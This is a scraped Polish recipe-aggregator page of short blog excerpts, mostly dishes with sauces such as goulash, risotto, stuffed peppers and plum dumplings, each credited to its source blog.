Sól ogórkowa – suszone mielone ogórki kiszone są świetną przyprawą do sosów mięsnych, kasz.... Bardzo lubię ogórki małosolne, w sezonie słój z ogórkami jest obowiązkowym elementem wystroju kuchni. Niestety przez upalne lato ogórki z małosolnych szybko robiły się kiszone, a te już mniej kocham. Za każdym razem powstawał problem co z nimi robić – ile można jeść zupy ogórkowej, a przechowywać

królestwo garów
Smażone krewetki w cieście 260

mocno rozgrzewamy olej do smażenia. Partiami smażymy krewetki w cieście, aż będą rumiane. Usmażone przekładamy na ręcznik papierowy, aby odsączyć nadmiar tłuszczu. Krewetki podajemy na ciepło, najlepiej z dodatkiem sosu chili. Artykuł Smażone krewetki w cieście pochodzi z serwisu Przepisy kulinarne FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
Guacamole 159

Opis Guacamole: Guacamole to słynny meksykański sos, który wykonuje się na bazie awokado. Poszczególne rodzaje guacamole mogą zawierać pomidory, paprykę chili, cebulę, kolendrę, czosnek i inne przyprawy. Spożywa się go zazwyczaj z plackami tortilla, chociaż Meksykanie dodają go do niemal każdej przystawki. Jest to idealny pomysł na przekąskę. Wystarczy wielka miska pełna porządnego guacamole, do tego dobre pieczywo lub nachosy

FoodMagazine.pl - Przepisy kulinarne
Surówka z sałaty rzymskiej 99

ansi-language:#0400; mso-fareast-language:#0400; mso-bidi-language:#0400;} Kto lubi surówki na słodko? Takie połączenia są niesamowite. Lekka sałata z gruszką, pikantną cebulą otulone aksamitnym, słodkim sosem. Składniki: 1 duża sałata rzymska 1 cebula czerwona 1 gruszka 2 łyżki gęstej śmietany 1 łyżeczka miodu 1 łyżeczka majonezu siemię lniane sól, pieprz Przygotowanie: Normal 0 21 false false

R'n'G Kitchen
Mini tarty z kurkami na cieście francuskim 183

połączenie skradnie niejedno serce i podniebienie . Jeśli lubicie nieoczywiste smaki, to polecam dodać do kurek łyżkę miodu, która nada całości lekkiego słodkawego posmaku. Ponadto polecam podawać tarty z dodatkiem sosu czosnkowego lub śmietanowego . Mini tarty z kurkami na cieście francuskim 275 g ciasta francuskiego ((1 opakowanie)) 300 g kurek 2 cebule czerwone 400 g sera pleśniowego ((2 krążki)) przyprawy: pieprz

Przepisy na widelcu
Tarta z malinami i bezą kokosową. 235

łyżek cukru najlepiej brązowego - 50 g masła - 2 łyżki mąki kokosowej Maliny i cukier zagotuj na dużej patelni, gotujemy około 7 do 10 minut. Mają się rozgotować, a powstały sos troszkę odparować, dodaj masło i wymieszaj, aby się rozpuściło. Wyłącz prąd i dodaj mąkę kokosową.  Maliny gotujemy po to aby właśnie te pesteczki zmiękły, mąkę kokosową dodajemy

SMYKWKUCHNI
Ziemniaczane kotleciki z serem, w sam raz do pudełka 240

roku szkolnym pakować do śniadaniówek dzieciom i sobie samej. Może tak małe kotleciki z ziemniaków i sera? pamiętam, że moja babcia była mistrzynią kotletów ziemniaczanych z sosem grzybowym, ja dzisiaj do samego farszu dodałam twaróg i cebulkę ale myślę, że wariacja z odrobiną cukru i rodzynkami też byłaby fajna.  Ziemniaczane kotleciki z twarogiem 5 dużych ziemniaków

Dzieje kuchennej Wiewióry
Cukinia faszerowana ryżem i serami 191

było grudek i wlać mleko. Doprawić do smaku pieprzem, gałką i solą. Soli nie za dużo bo dodamy jeszcze sery a cukinia jest też lekko posolona. Całość gotować aż sos zgęstnieje. Następnie dodać starty ser żółty i pokruszony ser z pleśnią. Wymieszać aby sery się rozpuściły. Patelnię zestawić z ognia. Dodać pokrojną mozzarellę i camemberta oraz ugotowany ryż. Ewentualnie dosolić

Monia miesza i gotuje
Papryka faszerowana soczewicą 145

dzięki soczewicy otrzymujemy solidną porcję białka. Czy można chcieć czegoś więcej? Papryka nadziewana soczewicą i cukinią może być zapiekana w piekarniku, jak to zrobiła Agnieszka lub uduszona w sosie pomidorowym. Za każdym razem otrzymamy bardzo smaczny posiłek, sycący, a jednocześnie niezbyt kaloryczny. Przepis i zdjęcia Agnieszka Szyszkowska Papryka faszerowana soczewicą - składniki 3 duże papryki około 100 g zielonej soczewicy

Cztery Fajery
Zupa krem z cukinii 142

cukinii możemy przygotować mnóstwo przepysznych rozmaitości. M.in.sałatki, pikle, dżemy, keczupy, sosy a nawet ciasta. To warzywo to jeden z cenniejszych darów lata ;) U mnie prosta i pyszna zupa krem z cukinii z uprażonym sezamem. Składniki: 600 - 800 g cukinii 2 łyżki masła 1 duża cebula 1 ząbek czosnku 800 ml bulionu drobiowego/warzywnego lub wody 100 ml szklanki śmietanki

Życie zaczyna się w kuchni
Gulasz węgierski 128

czosnek. Smażyć dosłownie chwilkę, zamieszać. Podlać mięso odrobiną wody, wymieszać i zagotować. Dodać pokrojone w kostkę papryki. Wlać pomidorową passatę, zamieszać. Doprawić do smaku solą, pieprzem i chili. Gdyby sos był za gęsty dolać trochę wody. Gotować na małym ogniu do momentu aż mięso będzie miękkie. Danie smaczne, smacznego

Kuchnia Pokoleń
Kostka z dorsza w sosie jogurtowym 265

kawałek papryki 1 jogurt naturalny 1 ząbek czosnku 1 mini papryczka chili suszona jarzynka pieprz przyprawa do ryb Przygotowanie: Pora posiekać, paprykę … Czytaj dalej Kostka z dorsza w sosie jogurtowym

czarrna od kuchni
Pomidorowe risotto z cukinią 174

smażymy przez około minutę, cały czas mieszając. Następnie dolewamy 1/2 szklanki bulionu, mieszamy, jak już ryż wchłonie znaczną część to dodajemy kolejne pół szklanki bulionu, gotujemy do momentu aż sos zacznie gęstnieć, czynność tą powtarzamy. Ryż powinien być twardy na zewnątrz a miękki w środku, jeżeli jest zbyt twardy dolewamy trochę wody. Na koniec dodajemy parmezan i całość dokładnie mieszamy

Delusional Trine
ZIEMNIAKI W WAFLU 134

plastry ok. 1 cm i panierujemy to w jajku i bułce tartej. Smażymy je na gorącym oleju na złocisty kolor. Można podawać jako dodatek do mięs lub z sosem i surówką

Kuchnia w oparach
Szakszuka, czyli jajka z pomidorami 145

dodać paprykę, czosnek i przyprawy. Smażyć kilka minut ciągle mieszając, aby czosnek się nie przypalił. Dodać pomidory odciśnięte z soku, cukier i koncentrat, dusić około 8 - 10 minut, aż sos będzie dość gęsty. Zmniejszyć moc palnika, w pomidorach zrobić małe dołki i wbić w nie jajka, posolić. Przykryć patelnię pokrywką i smażyć na niezbyt dużym ogniu około

Kuchcik gotuje
PULPETY GRYCZANE 191

bułki żeby konsystencja była identyczna jak przy kotletach mielonych.  Formować kuleczki mokrymi dłońmi, panierować w bułce tartej i smażyć na rozgrzanym oleju z każdej strony.  Podawać z sosem pomidorowym lub ulubionymi dodatkami

pieprzny smaczek
Tradycyjne japońskie zupy – co warto o nich wiedzieć? 211

wielu japońskich zup Bazą wielu zup w Kraju Kwitnącej Wiśni jest dashi. Pod tą nazwą kryje się bulion, który z powodzeniem wykorzystywany jest również w kuchni jako podstawowy element sosów czy potraw duszonych. Kulinarni smakosze doceniają go przede wszystkim ze względu na wartości odżywcze oraz niezwykle charakterystyczny smak. Można wyróżnić kilka rodzajów bulionu dashi, ale na jego podstawową wersję składają

Kulinarnyblog.pl - wiesz jak gotować!
mięciutkie knedle ze sliwkami 138

wrzatku osolonym 2-3 minuty krótko do wypłyniecia .Do wody dodać łyżkę rozpuszczonej w wodzie mąki ziemniaczanej,aby się nie kleiły. Jogurt zmiksowa ć ze sliwkami,miodem i cynamonem,sosem polać knedle

w mojej kuchni
mięciutkie knedle ze sliwkami 197

wrzatku osolonym 2-3 minuty krótko do wypłyniecia .Do wody dodać łyżkę rozpuszczonej w wodzie mąki ziemniaczanej,aby się nie kleiły. Jogurt zmiksowa ć ze sliwkami,miodem i cynamonem,sosem polać knedle

mojej kuchni
Gęś w dymie – Laskowa – zapraszam na kolację 171

raki jadłam dawno, dawno temu na Mazurach – gdzie w jeziorze je znajdowaliśmy. Byłam ciekawa czy pamiętam ich smak. Potem faktycznie dostaliśmy na talerzu pięknie wyglądające raki, wraz z sosem berneńskim , oj to była zabawa jak się do tego mięsa dostać, jak je zjeść. A jak już się dostaliśmy to ten zestaw był obłędny. Do tego dobraliśmy Rieslinga

Kuchnia na wzgórzu
Polędwiczki wieprzowe z piekarnika z kurkami w śmietanie 218

Soczyste polędwiczki wieprzowe w towarzystwie kremowych kurek. To danie pojawia się u nas obowiązkowo jak tylko pojawią się kurki na straganach. 2 małe polędwiczki wieprzowe Marynata sos sojowy pieprz czarny grubo mielony łyżeczka musztardy 3/4 łyżki oleju opcjonalnie szczypta czosnku w proszku 200 gramów kurek 1 mała cebula 200 ml. słodkiej śmietanki 30 % sól pieprz 1 średni ząbek czosnku

Andzia Pichci
Środa: Zapiekanka z kalafiora z kurczakiem 136

pracy na lancz, tak jak my zrobiliśmy. Przepis wzorowany na Wrytoasteats.com Polecamy inne nasze przepisy na pieczonego kalafiora: Spaghetti z pieczonym kalafiorem Steki z kalafiora Pieczony kalafior z sosem romesco Składniki: 4 udka z kurczaka 1 kalafior 2 łyżeczki suszonego tymianku lub 4 gałązki świeżego 1 łyżeczka suszonego czosnku 1 łyżeczka suszonej cebuli 4 łyżki oleju + 1 jedna łyżka

Niedzielny kucharz
Czwartek: Gyros z domowymi chlebkami pita 212

lubią też gyros wieprzowy, podczas, gdy wieprzowina nie jest jedzona przez muzułmanów), przyprawia się je w podobny sposób, griluje tak samo, inne jest tylko wykończenie: Grecy dodają na koniec sos tzatziki, obowiązkowo czerwoną ceulę i lubią jeść gyros z frytkami. W gyros kluczowe są przyprawy. W sklepie można kupić gotową mieszankę, ale naprawdę lepiej przyprawić mięso samemu. Zestaw przypraw jest

Niedzielny kucharz
Czas na domowy kebab! 138

najlepiej zamarynować na całą noc. Długo, za to smażenie to 5 minut. Gyrosa można go zjeść w chlebku pita, można podać na bogato z pitą, frytkami sałata i obowiązkowo sosem tzatziki. Skoro o chlebkach mowa: spróbuj sam je upiec w domu. Polecamy przepisy na super proste pity , bez żadnych wyszukanych składników, tylko mąka, drożdże i woda. Chlebki wychodzą rumiane, pulchne

Niedzielny kucharz
Menu na tydzień: Przepisy na proste włoskie dania 137

rosołu warzywa, szpinak, a przede wszytkim pyszne pulpeciki zagniecione z parmezanem. Pycha. Zobacz przepis Piątek: Zapiekanka manicotti Delicje z faszerowanych masą serowo-szpinakową rurek z makaronu, zapieczonych w sosie pomidorowym. Danie naprawę warte grzechu. Zobacz przepis Przepisy na kolejne dania będziemy dodawać codziennie rano, zaraz po tym, jak uda nam się je spisać:) Postaramy się też dodać listę zakupową, czyli

Niedzielny kucharz
Wtorek: Risotto z groszkiem i pieczarkami 150

chwilę aż uwolni aromat. Krok 3 Wsyp do rondla pół szklanki ryżu, zamieszaj i smaż kolejne 2-3 minuty aż ryż stanie się szklisty i ziarenka pokryją się maślanym sosem. Wtedy wlej do ryżu pół szklanki wina, zamieszaj i gotuj aż płyn odparuje z rondla. Następnie wlej tyle rosołu, żeby przykrył ryż, zmniejsz ogień i gotuj ryż w wywarze, mieszając

Niedzielny kucharz
Poniedziałek: Glazurowane udka 133

Wymieszaj dokładnie. Krok 3 Wyjmij udka z piekarnika, przestudź, następnie przełóż do głębokiej misy, polej glazurą, obtocz w niej dokładnie mięso. Przełóż z powrotem na tackę (odlej z niej sos jaki wytworzył się podczas pieczenia). Wstaw do piekarnika na 10 minut. Jeśli udka będą się za bardzo przypalać, zmniejsz temperaturę. Zrób keczup: połącz wszystkie składniki w miseczce (pół szklanki passaty

Niedzielny kucharz
Czwartek: Ziołowe polędwiczki zawijane w bekon 190

odstawić najlepiej na całą noc, żeby przyprawy miały czas uwolnić swoją moc. Do polędwiczek zawijanych w bekon polecamy ziołową sałatkę ziemniaczaną z kremowym pesto. Wart uwagi jest sposób robienia sosu, żywcem ściagnięty z pesto do makaronu. Do mieszkanki ziół i oliwy należy dodać wody spod gotujących się ziemniaków. Skrobia jaką zawiera zamienia całość w jedwabną emulsję. (Przepis znajdziecie pod przepisem

Niedzielny kucharz
Niedzielny obiad: Steak au poivre, czyli steki panierowane w pieprzu 131

ponieważ bardzo lubimy tego steka), danie nie jest bardzo ostre. Pieprz podczas smażenia łagodnieje, nadając stekom przyjemnego, korzennego aromatu i delikatnej tylko pikanterii. Dodatkowo pieprzność panierki łagodzi doskonały śmietanowy sos podlany koniakiem. Steki panierowane w pieprzu doskonale smakują z pure ziemniaczanym , frytkami i warzywami z wody. Pełny przepis znajdziecie TUTAJ Artykuł Niedzielny obiad: Steak au poivre, czyli steki panierowane

Niedzielny kucharz
Poniedziałek: Sałatka z młodymi ziemniakami 144

rzodkiewek 100 g, albo garść zielonej fasolki szparagowej Kilkanaście plasterków cienko pokrojonego salami lub chorizo, albo innej kiełbasy 2 jajka Garść rukoli Kilka łyżek siekanej zieleniny: bazylii, pietruszki, dymki Sos winegret 4 łyżki oliwy lub oleju rzepakowego 2 łyżki octu winnego 2 łyżki musztardy dijon lub deserowej lub miodowej 1 łyżeczka miodu 1/3 łyżeczki mielonej lub utartej w moździerzu kolendry

Niedzielny kucharz
Niedzielny Kucharz w TOK FM 110

znajdziecie pięć przepisów na znane i mniej znane zupy na zimno . Plan na ten tydzień jest taki: Poniedziałek: Sałatka z młodych ziemniaków Lekko słodki dresing na bazie musztardy i sosu podkręca słodycz młodych ziemniaków. Do tego dochodzi chrupka, pikantna rzodkiewka, kremowa fasolka szparagowa i orzechowa, pieprzna rukola oraz chipsy z ostrego salami. Pycha. Zobacz przepis Wtorek: Domowe sushi Danie

Niedzielny kucharz
Menu na tydzień: Zdrowe przepisy z pęczakiem za 80 zł 130

zrobiliśmy kebaby. Generalnie całość pracy nad pięcioma zestawami obiadów zajęła nam nieco ponad 2 godziny. Z tym, że w tym czasie zrobiliśmy też oddzielny obiad na niedzielę: gnocchi w sosie pomidorowym (oczywiście własnej roboty) z pulpecikami. Jeśli kogoś przeraża gotowanie na pięć dni, że to za dużo czasu zajmuje, to w sobotę, robiąc obiad dla trzech osób mieliśmy taką refleksję

Niedzielny kucharz
Przetwory na zimę. Top 5 najlepszych przepisów! 135

klik) Rewelacyjna sałatka ogórkowa w zalewie z przyprawą gyros. Piszecie mi, że ogóreczki są przepyszne i bardzo mnie to cieszy.   3. KETCHUP Z CUKINII PRZEPIS TUTAJ (klik) Przepyszny sos o słodko-kwaśnym smaku w którym wręcz można się zakochać :)) Ketchup idealnie komponuje się z wędlinami, serami, mięsami, pizzą i pewnie jeszcze wieloma innymi daniami.   4. SAŁATKA WIELOWARZYWNA LATO

Blog z Apetytem
Kurczak w warzywach 131

Lekkie i bardzo smaczne danie. Dla niecierpliwych, zabieganych ceniących sobie różnorodność na talerzu. Kawałki kurczaka, zanurzone w warzywnym ,aromatycznym sosie, podane w towarzystwie ryżu curry, smakują wyśmienicie. Z powodzeniem możemy zaserwować jako danie obiadowe lub jako ciepłą kolację.Zapraszam do przepisu. Składniki 500 g filetów z kurczaka pokrojonych w większą kostkę 1 czerwona papryka, pokrojona … Czytaj dalej Kurczak

gotuj ze mną
Szarlotka super krucha 233

Jeżeli wierzch ciasta nie zrumieni się można na ostatnie 5 minut włączyć termoobieg lub grilla. Szarlotka jest przepyszna tuż po wyjęciu z piekarnika. Świetnie smakuje z bitą śmietaną, lodami, sosem waniliowym lub po prostu posypana cukrem pudrem

Korniszonki
Niedzielny obiad kurpiowski 160

durszlaku i przełożyć na talerze z zupą. Udekorować borówkami i listkami bazylii. Rejbak kurpiowski z marchewką Babka to klasyczny dodatek do wszystkiego. Do chłodnika, do mięsa i sosu, zamiast obiadu i na przekąskę. Na Kurpiach babkę nazywa się rejbakiem albo kartoflakiem. Ten przepis jest z marchewką. Marchewkowy będzie też deser! Składniki: kilo ziemniaków umytych i obranych kilo marchewek umytych

Ugotowane pozamiatane
Podsumowanie IV roku działalności bloga 140

kremem z mlecznej czekolady A oto 3 najpopularniejsze przepisy: Miejsce pierwsze: Sałatka z brokułami, kukurydzą i jajkiem Miejsce drugie: Kluski na parze – pampuchy Miejsce trzecie: Sałatka z kurczakiem i sosem tzatziki Artykuł Podsumowanie IV roku działalności bloga pochodzi z serwisu PatiGotuje

PatiGotuje
Prawdziwki w maśle wujka Stasia do słoików 239

słoików, lekko ugniatamy łyżką.  4. Napełnione słoiki odwracamy do góry dnem i odstawiamy do zastygnięcia, a następnie przekładamy do lodówki. Grzyby przygotowane w ten sposób można wykorzystać do sosów, zup, kanapek, farszów lub zwyczajnie i najprościej można je zjeść prosto z patelni

Apetyczna babeczka
Sałatka z pieczonych warzyw z fetą i ziołowym sosem 149

Pyszna sałatka,robię ją często na obiad lub imprezę super sprawdzi się na zimno i na ciepło,do tego pyszny sos-musicie spróbować szczególnie teraz w sezonie na pyszne kolorowe warzywa

Swojskie jedzonko
Kluski leniwe 7348

wymarzyć. Sam przepis jest idealny a leniwe wychodzą cudownie miękkie. Polecam gorąco! - najlepszy przepis na leniwe - super pomysł na obiad dla dzieci - tylko kilka najważniejszych składników - rewelacyjny i prosty sos waniliowy do klusek

AniaGotuje.pl
KARKÓWKA PO CYGAŃSKU + FILMIK 136

Karkówka po cygańsku to pyszne danie z warzywami. Mięsko jest mięciutkie z pysznym, pomidorowym sosem i mnóstwem warzyw.              SKŁADNIKI : 1,3-1,5 kg karkówki wieprzowej 1 duża czerwona papryka 30 dkg pieczarek 2 cebule 1 marchewka sól, pieprz słodka i ostra papryka do smaku mąka

Kulinarne Fantazje Marioli
Ciasto a’la karpatka z malinami 956

drugim blatem. Wstawić do lodówki na kilka godzin. Przed podaniem posypać cukrem pudrem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Profiterole z kremem pâtissière, bitą śmietaną i sosem czekoladowym → Churros → Ptysie “serduszka” → Eklery z kremem orzechowym → Ptysie z kremem czekoladowym, malinami i pudrem z hibiskusa

Oryginalny smak
Chrupiące jogurtowe kąski z kurczaka 1015

dwóch stron na rumiano *** *** Po wyjęciu z patelni, kąski układamy na ręczniku papierowym w celu odsączenia z nadmiaru tłuszczu *** *** Podajemy na ciepło na przykład z frytkami, surówką i ulubionym sosem *** *** SMACZNEGO ***     POLECAM TAKŻE: POMYSŁY NA SZYBKI, TANI I ŁATWY OBIAD! KLIKNIJ TUTAJ POMYSŁY NA NIEDZIELNY I ŚWIĄTECZNY OBIAD KLIKNIJ TUTAJ DANIA JEDNOGARNKOWE – POMYSŁY NA SZYBKIE I PYSZNE OBIADY

Blog z Apetytem
Udka kurczaka w sosie pomidorowym z pieczarkami - fit 167

Propozycja na obiad z udkami kurczaka w gęstym, aromatycznym sosie pomidorowym z dodatkiem pieczarek. To kolejna wersja dietetyczna, bez obsmażania mięsa. Wystarczy mięso natrzeć przyprawami, zalać passatą pomidorową, dodać pieczarki, a całą resztę zrobi piekarnik

Gotuj zdrowo!Guten Appetit!
Najlepsze domowe Sushi Futomaki z łososiem i cukinią 128

zwarte) zawijamy tak, aby listki nori zamknęły ryż i składniki w środku, a mata pozostała na zewnątrz. Kroimy ostrym nożem co 3-4cm. Podajemy z pastą wasabi i sosem sojowym. Smacznego! Artykuł Najlepsze domowe Sushi Futomaki z łososiem i cukinią pochodzi z serwisu Just Be Fit Be Strong

Be Fit Be Strong
Odwrócone ciasto ze śliwkami 188

piec 30 minut. Po upieczeniu ciasto wyjąć na kratkę. Nakryć dużym talerzem, odwrócić i w ten sposób wyjąć ciasto na talerz. Zostawić do całkowitego ostygnięcia . W tym czasie sos ze śliwek zgęstnieje

Weekendy w domu i ogrodzie
Pieczarki nadziewane 207

Pieczarki nadziewane: Pieczarki nadziewane to świetny pomysł na przystawkę lub małe, samodzielne danie. Jeżeli pieczarki przygotowuję jako samodzielne danie, podaję je wtedy z białym pieczywem i zieloną sałatą z sosem winegret. Smakują obłędnie, szybko się je robi, wyglądają ładnie i w ekspresowym tempie z talerzy znikają. Idealnie nadają się jako danie dla wegetarian. Jeżeli ktoś z naszych gości

FoodMagazine.pl - Przepisy kulinarne
Makaron z owocami morza 157

pietruszki, papryczkę chili oraz odcedzony makaron. Mieszamy i trzymamy całość jeszcze przez kilka minut na ogniu. Gotowy makaron przekładamy na talerze. Porcjujemy owoce morza i polewamy pozostałym na patelni sosem. Na końcu każde danie posypujemy posiekaną natką pietruszki. Artykuł Makaron z owocami morza pochodzi z serwisu Przepisy kulinarne FoodMagazine.pl

FoodMagazine.pl - Przepisy kulinarne
Sałatka z gruszką, serem pleśniowym i suszonymi pomidorami 212

Maliny Przygotowanie: Gruszkę, ser pleśniowy i pomidory kroimy. Orzechy drobno siekamy. W miseczce mieszamy oliwę, miód, sok z cytryny oraz sól i pieprz. Wszystkie składniki układamy w miseczce. Polewamy sosem

Czarnawisienka
Potrawka z kurczaka w warzywach , delikatne danie 146

słodkiej śmietany 1/2 płaskiej łyżeczki mielonej gałki muszkatołowej 1/2 płaskiej łyżeczki granulowanego czosnku 1 łyżeczka cukru sól , pieprz do smaku mąka pszenna , rozrobiona z woda do zagęszczenia sosu 1 szklanka wody Filety kroimy na plasterki . Podsmażamy na maśle , jak się zrumienią , dodajemy warzywa . Zalewamy jedna , szklanką wody . Doprawiamy gałką , czosnkiem , cukrem i solą do smaku . Dusimy na małym ogniu

Ogrodnik w podróży
Schab duszony w warzywach 206

Składniki: 1/2 kg schabu 400 g cukinii (1 średnia cukinia) 1 cebula 1/2 kg pomidorów 1 i 1/2 papryki 2 łyżki sosu chili słodka papryka, zioła prowansalskie jarzynka Przygotowanie: Schab, … Czytaj dalej Schab duszony w warzywach

czarrna od kuchni
Menu na tydzień: Zdrowe przepisy z pęczakiem za 80 zł 137

zrobiliśmy kebaby. Generalnie całość pracy nad pięcioma zestawami obiadów zajęła nam nieco ponad 2 godziny. Z tym, że w tym czasie zrobiliśmy też oddzielny obiad na niedzielę: gnocchi w sosie pomidorowym (oczywiście własnej roboty) z pulpecikami. Jeśli kogoś przeraża gotowanie na pięć dni, że to za dużo czasu zajmuje, to w sobotę, robiąc obiad dla trzech osób mieliśmy taką refleksję

Niedzielny kucharz
Makaron cytrynowy z orzechami i indykiem 174

indyka 10 g oleju kokosowego 1 szalotka 1 ząbek czosnku 1 łyżeczka papryki słodkiej 1 łyżeczka przyprawy do gyrosa sól himalajska według uznania pieprz ziołowy według uznania 1 łyżeczka sosu sojowego 1 łyżka pasty z nerkowca 2 szklanki wody Wykonanie Do garnka z osoloną wodą wstawiamy do gotowania , kiedy woda zacznie się gotować dodajemy makaron i gotujemy do momentu

Mój Smak
Budyń jaglany z truskawkami 152

minut Koszt: tanie Kaszę jaglaną mogłabym jeść non stop, tak uwielbiam jej smak. Wybornie smakuje w daniach na słodko, jak i na słono. W słonych wersjach sama czy z sosem, a nawet zapiekana zawsze smakuje idealnie, a jeśli chodzi o słodkie przepisy, to też znajdzie swoje zastosowanie w wielu smakołykach. Ostatnio podzieliłam się z Wami przepisem na ciasto bez pieczenia

Zdrowie i pysznie na talerzu
Sałatka z cukinią i tuńczykiem 198

kuchence mikrofalowej. PRZEPIS NA SAŁATKĘ Z CUKINIĄ I TUŃCZYKIEM Składniki na sałatkę z cukinią i tuńczykiem: 1 cukinia, młoda, mała 1 pomidor malinowy duży 1 puszka tuńczyka w sosie własnym 2 łyżki ziaren słonecznika prażonych 1 łyżka majonezu – opcjonalnie 1 łyżeczka przyprawy do sałatek Jak zrobić sałatkę z cukinia i tuńczykiem: Cukinię kroimy w plastry lub w ćwierć plastry

Dorota Smakuje
Amerykański przepis na pieczone żeberka. Mięciutkie i konkretnie doprawione 179

nimi szaleją. Prawdziwy raj dla mięsożerców. Przepis na amerykańskie żeberka BBQ Składniki: około kilograma żeberek wieprzowych (paski), na marynatę 3/4 szklanki dobrego keczupu, 2 łyżki gładkiej musztardy, 2 łyżki sosu sojowego, łyżka miodu, łyżeczka mielonego kuminu, 2 łyżki wędzonej papryki w proszku (można kupić w większości sklepów na dziale z przyprawami), papryka ostra w proszku według upodobań, sól, pieprz. Zrób

Kulinarna Polska
Naleśniki z bananami i bitą śmietaną 141

sycącym obiadem. Po trzecie: jest uniwersalny. Naleśniory można jeść praktycznie ze wszystkim – bananami, truskawkami, dżemem, bitą śmietaną, lodami, nutellą, salami, serem żółtym, serem białym, farszem pieczarkowym, sosem pomidorowym, mięsem mielonym, warzywami… Z ciekawych wersji: ostatnio jadłem z serem, kurczakiem grillowanym, rukolą, suszonymi pomidorami i prażonym słonecznikiem. Pycha! Po czwarte: może być składnikiem innych dań. Możemy z nich zrobić krokiety, naleśnikowe

Proste-przepisy.pl
Gulasz wołowy 140

drugie: jest zdrowy. Mięso wołowe jest chude i zawiera dużo białka, a duszone warzywa zachowują swoje właściwości. Dzięki gulaszowi na naszym talerzu zagoszczą same naturalne składniki wraz z prawdziwym sosem wołowym, bez polepszaczy. Po trzecie: jest smaczny. To zadziwiające, że przyprawione warzywa z mięsem mogą tak smakować! Do tego danie jest pięknie kolorowe i aromatyczne, a nie od dziś wiadomo

Proste-przepisy.pl
Papryka faszerowana siekanym kurczakiem i cukinią 155

ogniu) pod przykryciem ok 30/ 40 minut w zależności od wielkości papryki.W razie potrzeby uzupełniamy odparowany płyn , aby papryki się nie przypaliły. Z wywaru pozostałego z duszenia papryczek przygotowuję sos i podaję z ryżem jako dodatek.  Smacznego

Andzia Pichci
Pieczone paluszki rybne z sosem tatarskim 185

przewracamy na drugą stronę). 8. Siekamy ogórki kiszone i szalotkę w drobną kostkę. 9. Łączymy ogórki z cebulą, jogurtem i doprawiamy szczyptą pieprzu. 10. Pieczone paluszki rybne podajemy z sosem tatarskim i cytryną. Pieczone paluszki rybne są bogate w: - pełnowartościowe białko (pochodzące z ryby), które jest składnikiem budulcowym. Wartość odżywcza jednej porcji: Porcja waży: ok. 450 g Energia

Zdrowe odżywianie w pięciu smakach
Gulasz wołowy z mlekiem kokosowym / Beef stew with coconut milk 172

Dziś przedstawiam Wam trochę inną niż zwykle propozycję gulaszu wołowego. Rozpływające się w ustach mięso z papryką i ziemniakami, w sosie na bazie świeżych pomidorów, mleka kokosowego z dodatkiem masła orzechowego- prze-py-szne! Danie wymaga cierpliwości bo musi sobie pobulgotać w sumie 2 godziny, ale zapewniam, że warto czekać! Zapraszam po przepis! Scroll down for recipe in English Gulasz

karmelowy
Muszle zapiekane po bolońsku 159

gotuj całość ok. 10 minut, mieszając od czasu do czasu. Pod koniec gotowania dodaj zioła włoskie. Na dno naczynia żaroodpornego wylej passatę pomidorową. Muszle nadziewaj sosem i układaj w naczyniu żaroodpornym. Na koniec całość posyp mozzarellą. Piecz ok. 25 minut w piekarniku rozgrzanym do 200 stopni. Podawaj ciepłe. Smacznego Artykuł Muszle zapiekane po bolońsku pochodzi z serwisu 365 dni dookoła

365 dni dookoła kuchni
Kotlety rybne 191

puka do drzwi. Poranki i wieczory otulone chmurami i rześką aurą. W sadzie dojrzewają soczyste brzoskwinie i pierwsze śliwki. Gałązki uginają się od ciężaru czerwonych pomidorów. Z nich będzie sos i sałatka. A ze śliwek ciasto. Szukałam sposobu, aby mała M zjadła rybę, za którą nie przepada. Pomyślałam, że skoro lubi wszelkiego rodzaju kotlety i pulpety, to w tej wersji

My simple kitchen
Frużelina z borówek amerykańskich 161

kisiel lub rzadszą galaretkę. Można je przygotować na dwa sposoby, czyli przy pomocy żelatyny lub z dodatkiem mąki kartoflanej. Tym razem frużelinę zrobiłam na bazie mąki ziemniaczanej, bo nas sos jest gotowy od razu i nie musimy czekać, aż ostygnie i stężeje.   Frużelina z borówek Czas przygotowania: 30 minut Składniki: 500 g borówek sok z 1/2 cytryny 1 łyżka

Kulinarne przygody Gatity
Zupa z grzybów leśnych na białym winie 138

amatorów kremu odlewamy część zupy z bogatą wkładką grzybowo-miesną i miksujemy na gładki krem. Inne przepisy na zupy z grzybów znajdziecie TUTAJ i TUTAJ , a na rydze w sosie winno-śmietanowym zapraszam TUTAJ Bon appetit

Kate's Kitchen
Domowy sok pomidorowy. Sok z pomidorów. 163

pracy układu moczowego, odpornościowego i trawiennego . Do tego pomidory mają bardzo mało kalorii. Dlatego jeżeli jesteście na diecie odchudzającej, śmiało i bez ograniczeń jedzcie pomidory Z pomidorów można robić sosy, zupy (pomidorowa z makaronem jest najlepsza) i przetwory – uwielbiam suszone w oliwie. Pomidory można zapiekać, smażyć i oczywiście jeść na surowo – uwielbiam caprese. Z pysznych pomidorów można zrobić prawie wszystko

Damsko-męskie spojrzenie na kuchnię
Sałatka z rukoli i awokado 175

Sałatki to moje ulubione dania, potrawy. Wrzucamy do miski to i owo, czasami pasujące do siebie a czasami pozornie niepasujące a jednak smakujące wybornie. Potem tylko jakiś sos, dressing i sałatka gotowa. Ta która dziś pokazuję jest aromatyczna, smakowita i pożywna, polecam gorąco. A wiecie że rukola to kapusta? Awokado i rukola w sałatce. CZYTAJ DALEJ

Moje Małe Czarowanie
Wrapy z kurczaka z chrupiącymi warzywami 169

majonezowy  z tego przepisu . Pierś z kurczaka pokroić w cienkie paseczki, obsypać obficie przyprawą, u smażyć na patelni do zrumienienia mięsa. Z  majonezu i ketchupu przygotować gładki sos, posmarować nim tortille. N a środku każdego placka (pionowy pasek po środku) ułożyć kawałki  kurczaka,  p okrojoną w paski paprykę i mieszankę sałat. T ortille zwinąć w ciasny

Moja kraina smaków
Knedle ze śliwkami 156

ruszy sezon śliwkowy. Ja jestem zdecydowanie zwolenniczką knedli ze śliwkami, choć są i tacy, którzy wolą wersję z truskawkami, czy z morelami. Uwielbiam je najbardziej gdy są dodatkowo oblane sosem jogurtowym i oprószone cynamonem. Już na samą myśl ślinka cieknie. Kiedy robię takie knedle, to przypominają mi się wakacje na wsi, jak byłam dzieckiem. Wtedy robiła je moja mama

Analiza Smaku
Szybka sałatka z pomidorkami 452

